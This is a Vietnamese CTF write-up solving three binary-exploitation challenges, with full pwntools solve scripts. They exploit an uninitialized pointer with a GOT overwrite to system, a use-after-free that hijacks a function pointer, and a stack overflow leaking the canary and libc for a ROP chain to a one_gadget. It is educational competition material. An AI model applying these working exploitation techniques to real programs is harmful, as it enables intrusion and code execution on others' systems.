Mình đã làm được bài Pwn03 (450 điểm) và Pwn02 (250 điểm) <style> @page { size: A4; margin: 20mm; } .page-break-before { page-break-before: always; } .page-break-after { page-break-after: always; } .avoid-page-break { page-break-inside: avoid; } </style> # Pwn03 Đây là bài mình tập trung làm đầu tiên, do điểm cao, và source nhìn cũng đơn giản. ## Checksec Sau khi tải về, có sẵn libc với ld rồi thì mình cứ pwninit và checksec thôi ![image](https://hackmd.io/_uploads/HJPZMgoryg.png) Ở đây có 2 cái đáng chú ý là `Partial RELRO` --> overwrite GOT entries được, và `No PIE` --> biết được địa chỉ các phân vùng bộ nhớ của chương trình. ## Phân tích & làm Flow chính của chương trình: cho nhập 256 ký tự vào name (hàm `read_name`), sau đó while loop gọi hàm `handler` cho phép chỉnh sửa data liên tục theo type 1 và 2. ### Hàm `read_name`: ```clike= void read_name(void) { char buf [256]; buf[0] = '\0'; buf[1] = '\0'; ... buf[255] = '\0'; printf("Enter your name: "); read(0,buf,255); printf("Hi %s\n",buf); return; } ``` ### Hàm `handler`: Trong hàm có dùng một biến con trỏ, sau khi đọc kỹ source code, mình thu được một struct: ```clike struct Chunk { int type; uint size; long number; char data[256]; }; ``` Và nội dung hàm (pseudo-code): ```clike= void handler(void) { int type; Chunk *chunk; if (chunk == (Chunk *)0x0) { chunk = (Chunk *)calloc(1,0x110); } printf("Choose the type: "); __isoc99_scanf(%u,&type); if (type == 1) { chunk->type = 1; printf("Enter your number: "); __isoc99_scanf(&%lu,&chunk->number); printf("Your data is: %lu\n\n",chunk->number); } else if (type == 2) { chunk->type = 2; printf("Enter size: "); __isoc99_scanf(&%u,&chunk->size); if (chunk->size < 0x101) { printf("Enter your data: "); read(0,chunk->data,(ulong)chunk->size); printf("Your data is: "); puts(chunk->data); } else { puts("Size too large!\n"); } } else { puts("Invalid type!\n"); } return; } ``` ### Hướng làm Ta thấy ở hàm `handler` có đoạn check `chunk` là `NULL` thì mới `calloc` vùng nhớ mới để sử dụng. Để ý kỹ, ta thấy hàm `handler` được gọi sau hàm `read_name`, nên stack frame của hàm `handler` có chứa vài giá trị biến cục bộ của hàm `read_name`. Có thể biến `chunk` sẽ nhận được một giá trị rác trong chuỗi `name` ở hàm `read_name`. Mình thử send name = `cyclic(0x100)`, đặt breakpoint ở chỗ so sánh null, thì được giá trị `gaaaaaa`, check lại payload thì thấy còn ký tự `b` theo sau nữa, do chỉ đọc 255 nên nó bị ngắt. ![image](https://hackmd.io/_uploads/rykkOlsSJl.png) Dùng `cyclic -l gaaaaaab` thu được offset là 248, như vậy. Ta sẽ send 248 ký tự rác kèm theo một địa chỉ bất kỳ là có thể set được `chunk` là một con trỏ tùy ý. Theo đó, ta có thể dùng các dòng lệnh tiếp theo của hàm `handler` để đọc và chỉnh sửa. Vậy ta sẽ có arbitrary read & write. Và như đã nói ở trên, do `Partial RELRO` nên mục tiêu đầu tiên của chúng ta là GOT. Đến hiện tại, script ta như sau: ```python= from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe remote_connection = "nc 103.179.191.29 9003".split() local_port = 9003 info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sna = lambda msg, data: p.sendlineafter(msg, str(data).encode()) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sn = lambda data: p.sendline(str(data).encode()) s = lambda data: p.send(data) def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) elif args.GDB: return gdb.debug([exe.path], gdbscript=gdbscript) else: return process([exe.path]) def GDB(): if not args.LOCAL and not args.REMOTE: gdb.attach(p, gdbscript=gdbscript) pause() p = start() def choice(ch): sna(b'type:', ch) def first(number): sna(b'type:', 1) sla(b'number:', number) def second(size, data): sna(b'type:', 2) sna(b'size:', size) sa(b'data:', data) sa(b'name', cyclic(248, n=8) + p64(<target_address>)) p.interactive() ``` ### Thử và sai ![image](https://hackmd.io/_uploads/ryRyYejrJe.png) Ở trên là GOT của chương trình, theo như type 2 của hàm `handler`, ta sẽ có quyển `read` vào `chunk->data`, hay `[chunk + 0x10]`, sau đó đọc từ đó ra. Ban đầu, hướng suy nghĩ của mình đơn giản là: * Cho `chunk = exe.got.puts - 0x10`. * Sau đó chọn option 2 một lần: * Đọc vào 1 bytes `\x50` (để giữ nguyên giá trị của puts) * `puts(chunk->data)` trở thành `puts(exe.got.puts)`, leak được địa chỉ libc. * Chọn option 2 một lần nữa: * Đọc vào 16 bytes, cho `puts@GOT` thành địa chỉ hàm `system`, và theo sau đó là `||sh\0` để gọi shell. * `puts(chunk->data)` sẽ thành `system("<system_address>||sh")`, và shell sẽ được pop. Nhưng có một vấn đề, có vẻ như do giá trị tại `0x404008` bị overwrite bởi `chunk->size` và `chunk->type`, nên khi gọi đến `puts` lần đầu tiên, ta bị lỗi ngay ![image](https://hackmd.io/_uploads/HkZ73gsBkl.png) ![image](https://hackmd.io/_uploads/r1RBngsSkg.png) ### Dạo chơi tứ hướng Sau khi thử `chunk = puts@GOT - 0x10` không được, mình thử các GOT entry khác và được một số hướng: * **Cách 1**: cho `chunk = scanf@GOT - 0x10` --> leak được libc chính xác, rồi sẽ overwrite GOT của scanf thành một cái `one_gadget`. Dự tính lần gọi scanf tiếp theo (scanf type trong handler), ta sẽ có shell. Mình đặt breakpoint ngay tại chỗ đó để tìm gadget thỏa. Chỉ có hai gadget có register thỏa mãn: ![image](https://hackmd.io/_uploads/SyZ5zZor1g.png) Nhưng check giá trị tại rbp-0x70, thì máy mình lại để là 5, nên không thỏa được cái thứ 2. Mình cố quay lại hàm `read_name` để clear giá trị đó, nhưng có vẻ không khả thi. Vậy hướng này bỏ. * **Cách 2**: cho `chunk = setvbuf@GOT - 0x10` --> Có thể leak địa chỉ libc chính xác. ![image](https://hackmd.io/_uploads/B15QQZjBJe.png) Khi đó, có thể overwrite cả `setvbuf` và `scanf`, mình dự tính: * Cho `scanf` trỏ tới chỗ gọi `setvbuf(stdout,(char *)0x0,2,0);` * Cho `setvbuf` thành `gets` * Như vậy, ta sẽ gọi `gets(stdout)` và thực hiện FSOP theo link sau, có chỉnh offset của gadget (dùng ROPgadget tìm) và stdout_lock (print ra trong gdb) [https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc/#3---the-fsop-way-targetting-stdout](https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc/#3---the-fsop-way-targetting-stdout) Nhưng có vẻ như có một chút trục trặc nên không được, debug nửa chừng thì mình lại thấy hướng ban đầu có chút hi vọng. ### Quay lại Mình để ý, thay vì dùng `puts@GOT - 0x10`, mình có thể dùng `puts@GOT - 0x18`, khi đó `chunk->data` là `0x404010`, có một địa chỉ libc ở đấy ==> Vẫn có thể leak được libc. Và giá trị rác của `chunk->type` với `chunk->size` nằm trong địa chỉ `0x404000`, và nó không bị lỗi =)) Vậy, hiện tại mình có: ```py= sla(b'name', cyclic(248, n=8) + p64(exe.got.puts-0x18)[:-1]) second(1, b'\x30') p.recvuntil(b'is: ') leak = p.recv(6) + b'\0'*2 libc.address = u64(leak) - 0x240d30 info(f'{hex(libc.address) = }') second(16, b'/bin/sh\0' + p64(libc.sym.system)) p.interactive() ``` Và nó chạy trên máy được ![image](https://hackmd.io/_uploads/BJQ6ClsHke.png) NHƯNG... khi build docker và chạy thử, thì lại không ăn: ![image](https://hackmd.io/_uploads/B1zgkZoBJx.png) ## Debug solution Mình setup để debug trực tiếp trong container, dùng `gdbserver` chạy trong container, ở ngoài chạy gdb và `target remote :9090`. Theo link sau: https://ir0nstone.gitbook.io/notes/misc/challenges-in-containers Khi mình debug, thì mình phát hiện ra rằng, địa chỉ leak trong container có offset với libc base là `0x243d30`, khác `0x3000` so với trên máy mình. Một cách lạ lùng, khi build lại docker mà setup như ở trên, solution lại không hoạt động. Và tất nhiên cũng không chạy được trên remote. Đến đây, mình quyết định thử brute force nibble thứ tư trong offset, tức là tìm i sao cho: `libc.address = leak - (0x240d30 + i * 0x1000)` Và là nó hoạt động trên remote (solve script bên dưới), với i = 2 hay 3 gì đó mình không nhớ rõ. Khi viết writeup này và để ý kỹ, thì cái địa chỉ mình leak ra là của ld chứ không phải libc =)) Như vậy mình cũng có phần may mắn trong này. ## Solve script ```python= #!python3 from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe remote_connection = "nc 103.179.191.29 9003".split() local_port = 9003 gdbscript = ''' # compare chunk b *0x004013f7 # calloc b *0x00401408 # scanf number b *0x00401480 # read chunk data b *0x0040153e # puts data b *0x00401562 # calling exit b *0x401144 # b *setup+38 # b *0x004015b9 b *0x00401259 b *0x00401562 ''' info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sna = lambda msg, data: p.sendlineafter(msg, str(data).encode()) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sn = lambda data: p.sendline(str(data).encode()) s = lambda data: p.send(data) def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) elif args.GDB: return gdb.debug([exe.path], gdbscript=gdbscript) else: return process([exe.path]) def GDB(): if not args.LOCAL and not args.REMOTE: gdb.attach(p, gdbscript=gdbscript) pause() for i in range(0x10): p = start() def choice(ch): sna(b'type:', ch) def first(number): sna(b'type:', 1) sla(b'number:', number) def second(size, data): sna(b'type:', 2) sna(b'size:', size) sa(b'data:', data) sla(b'name', cyclic(248, n=8) + p64(exe.got.puts-0x18)[:-1]) second(1, b'\x30') p.recvuntil(b'is: ') leak = p.recv(6) + b'\0'*2 libc.address = u64(leak) - (0x240d30 + 0x1000*i) info(f'{hex(libc.address) = }') second(16, b'/bin/sh\0' + p64(libc.sym.system)) p.interactive() ''' VCS{un1niT1@1I23D_m3MOrY_Bu6_In_mInIm@1_VeRSion} ''' ``` <div class="page-break-before"></div> # Pwn02 ## Checksec ![image](https://hackmd.io/_uploads/rkmtBZir1x.png) ## Phân tích & làm ### Sơ lược Đây là một ứng dụng note, cho phép create, delete, update, và view. Mỗi note là một struct như sau: ```clike= struct Note { void (*func)(); long id; char* data; long len; } ``` Có biến toàn cục `Note *list[100]` chứa các con trỏ Note. Chương trình còn có hàm `win` cho ta shell. ### Lỗ hổng Mình thấy lỗ hổng đến từ option `delete`: ```clike= ... printf("Node ID ? :"); id = 0xffffffff; chunkp = (Note *)0x0; __isoc99_scanf(&%u,&id); for (l = 0; l < 100; l = l + 1) { if ((list[l] != (Note *)0x0) && (*(uint *)&list[l]->id == id)) { chunkp = list[l]; } } if (chunkp == (Note *)0x0) { puts("Not found"); } else { free(chunkp->data); chunkp->data = (char *)0x0; /* UAF? */ free(chunkp); } ``` Đoạn code này tìm note có id giống id nhập vào bằng cách duyệt từng phần tử của `list`. Lỗ hổng là `free(chunkp)`, nhưng không `set list[i]` về NULL. Đây là UAF. Option `view` cũng có đoạn thú vị: ```clike= printf("Node ID ? :"); inp = 0xffffffff; foundGG = (Note *)0x0; __isoc99_scanf(&%u,&inp); for (j = 0; j < 100; j = j + 1) { if ((list[j] != (Note *)0x0) && (*(uint *)&list[j]->id == inp)) { foundGG = list[j]; break; } } if (foundGG == (Note *)0x0) { puts("Not found"); } else { printf("ID : %d\nContent: %s\nContent size : %d\n",(ulong)*(uint *)&foundGG->id, foundGG->data,(ulong)*(uint *)&foundGG->len); if (foundGG->func != 0) { // calling func (*(code *)foundGG->func)(); } } ``` ### Hướng Mình muốn có một con trỏ `data` của note A trỏ đến note B, để mà edit `A->func` thành `win`. Sau đó gọi view note A. Để vậy, mình phải có free(A) để A nằm trong một note bất kỳ, sau đó alloc `B->data` với size 0x20, bằng với size của note A. Vậy, mình sẽ tạo 2 note 0 và 1 với size data là 0x30, sau đó free cả 2, để tcache của size 0x20 (không tính tcache metadata) chỉ chứa các note, không chứa note->data. ``` chunk0 = create(0x30, cyclic(0x20)) chunk1 = create(0x30, cyclic(0x30)) delete(chunk0) delete(chunk1) ``` Khi đó, ta có tcache size 0x20: ``` chunk1 -> chunk0 ``` Rồi khi ta gọi `chunk2 = create(0x20, b'Khoa')`, `chunk2->data` sẽ trỏ tới chunk0. Ta đổi payload lúc tạo nữa là được, điền func thành win, chú ý id, và cho `data` thành một địa chỉ `rw` được. Tới đây, chỉ cần gọi `view(id)` là xong. ```python= chunk2 = create(0x20, p64(exe.sym.win) + p64(0) + p64(0x4040c0)) view(0) ``` ## Solve script ```python= #!python3 from pwn import * exe = ELF("./chall_patched") libc = ELF('./libc.so.6') context.binary = exe remote_connection = "nc 103.179.191.29 9002".split() local_port = 1337 gdbscript = ''' # free data b *0x00401815 # freee b *0x0040182d # malloc b *0x0040148e # malloc data b *0x004014d5 # read data b *0x00401537 b *0x004018e5 ''' info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sna = lambda msg, data: p.sendlineafter(msg, str(data).encode()) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sn = lambda data: p.sendline(str(data).encode()) s = lambda data: p.send(data) def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) elif args.GDB: return gdb.debug([exe.path], gdbscript=gdbscript) else: return process([exe.path]) def GDB(): if not args.LOCAL and not args.REMOTE: gdb.attach(p, gdbscript=gdbscript) pause() p = start() def choice(num): sna(b'choice:', num) def create(size, content): choice(1) sna(b'size', size) sla(b'content', content) p.recvuntil(b'd is :') return int(p.recvline(keepends=False)) def update(idx, size, new): choice(2) sna(b'ID', idx) sna(b'size', size) sla(b'content:', new) def delete(idx): choice(3) sna(b'ID', idx) def view(idx): choice(4) sna(b'ID', idx) # your exploit here chunk0 = create(0x30, cyclic(0x20)) chunk1 = create(0x30, cyclic(0x30)) delete(chunk0) delete(chunk1) chunk2 = create(0x20, p64(exe.sym.win) + p64(0) + p64(0x4040c0)) view(0) p.interactive() ''' VCS{u$3_@FT3R_FR33_8u6_i$_s0_tR1ckY} ''' ``` # Pwn01 (bổ sung thêm vào ngày 30/3 trong lúc dọn Hackmd) ## Phân tích ### Tổng quan chương trình (Chatgpt) Chương trình này là một trình quản lý ghi chú đơn giản chạy trên terminal. Nó sử dụng một danh sách liên kết đơn để lưu trữ các ghi chú (notes), mỗi ghi chú chứa ID, chủ sở hữu, ngày tạo, trạng thái và nội dung. ```cpp typedef struct Note{ int id; char owner[20]; char *date; char *state; char *message; struct Note *next; } Note; ``` Chức năng chính: ``` Tạo ghi chú mới (NEW_NOTE) Cấp phát bộ nhớ cho một Note mới. Nhập chủ sở hữu và nội dung của ghi chú. Gán trạng thái mặc định là "DOING". Gán ID tự động (tăng dần). Thêm vào danh sách liên kết (thêm vào cuối). Cập nhật ghi chú (UPDATE_NOTE) Nhập ID ghi chú cần cập nhật. Cho phép chỉnh sửa một trong ba trường: Chủ sở hữu (owner). Nội dung (message), cấp phát lại bộ nhớ nếu có cập nhật. Trạng thái (state), chọn giữa "DONE" hoặc "DOING". Xem tất cả ghi chú (VIEW_NOTE) Hiển thị danh sách tất cả các ghi chú với thông tin: ID, chủ sở hữu, nội dung, trạng thái, thời gian tạo. ``` ### Lỗi ```cpp== #define MAX_MESSAGE 200 typedef struct Note{ int id; char owner[20]; char *date; char *state; char *message; struct Note *next; } Note; int update_note() { char buffer[30]; switch(choice) { case UPDATE_OWNER: printf("Enter new name owner :"); fgets(buffer,MAX_MESSAGE,stdin); // stack bof l = strlen(buffer); // bof in struct memcpy(&tmp->owner,buffer,l); break; ... } ... } int main() { char date[100]; ... case NEW_NOTE: note->date = date; // note->data is stack pointer case VIEW_NOTE: tmp = head; puts("All note:"); for(tmp = head;tmp;tmp = tmp->next){ ... printf("Note Owner : %s",tmp->owner); ... // print other stuff in the note printf("Program run at : %s\n",tmp->date); // modify note->date => arbitrary read. } ... } ``` Lỗi buffer overflow khi update owner (dòng 18-19), `tmp->owner` có size là 20 thôi, mà ở đây có thể nhập vào tận 200 => Có thể đè null terminator để leak con trỏ `date` (dòng 38), hoặc ghi đè được con trỏ `date` trong struct để có arbitrary read (dòng 40) *Để sửa lỗi thì dùng `strnlen` để giới hạn `l <= 19` rồi mới `memcpy`.* Ngoài cái đó thì trong hàm `update_note` còn có stack buffer overflow nữa (dòng 13, 17) => cần leak libc, canary. Okay, mà có như vậy rồi thì mình triển thôi: * Update cho owner đúng 20 byte để leak ra con trỏ `date`, ban đầu nó là một địa chỉ trên stack. * Update cho owner = 20 byte + địa chỉ khác trên stack, rồi view => 2 lần như vậy sẽ leak được libc, canary. * Dùng stack buffer overflow để chơi overwrite return address. (yea, người ta có hàm win đó, mà thôi mình không cần đâu, tại bài này bug xài thoải mái). ## Solve script ```py= #!python3 from pwn import * exe = ELF("./warmup_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.39.so") context.binary = exe remote_connection = "nc addr 5000".split() local_port = 9001 gdbscript = ''' # print brva 0x01bab # fgets bof brva 0x16b2 ''' info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sna = lambda msg, data: p.sendlineafter(msg, str(data).encode()) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sn = lambda data: p.sendline(str(data).encode()) s = lambda data: p.send(data) def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) elif args.GDB: return gdb.debug([exe.path], gdbscript=gdbscript) else: return process([exe.path]) def GDB(): if not args.LOCAL and not args.REMOTE: gdb.attach(p, gdbscript=gdbscript) pause() p = start() def choice(num): sna(b'choice :', num) def create(owner, message): choice(1) sla(b'owner', owner) sla(b'message', message) p.recvuntil(b'id = ') return int(p.recvline(keepends=False)) def update_owner(idx, owner): choice(2) sna(b'ID', idx) choice(1) sla(b'owner', owner) def update_message(idx, owner): choice(3) sna(b'ID', idx) choice(2) sla(b'message', owner) def view(): choice(3) create(b'khoa', b'khoa') update_owner(0, b'A'*16 + b'ZZZ') view() p.recvuntil(b'ZZZ\n') date_addr = u64(p.recv(6) + b'\0\0') info(f'{hex(date_addr) = }') rbp_8 = date_addr + 0x148 update_owner(0, b'A'*16 + b'ZZZZ' + p64(rbp_8)) view() p.recvuntil(b'run at : ') libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 0x2a1ca info(f'{hex(libc.address) = }') canary_addr = date_addr + 0x138 update_owner(0, b'A'*16 + b'ZZZZ' + p64(canary_addr + 1)) view() p.recvuntil(b'run at : ') canary = b'\0' + p.recv(7) info(f'{canary = }') pop_rcx = libc.address + 0x00000000000a876e pop_rdx = libc.address + 0x00000000000586d4 one_gadget = libc.address + 0x583e3 payload = cyclic(0x30 - 0x8) + canary + p64(date_addr) payload += flat( pop_rcx, 0, pop_rdx, 0, one_gadget ) update_owner(0, payload) p.interactive() ``` # Thank you for reading!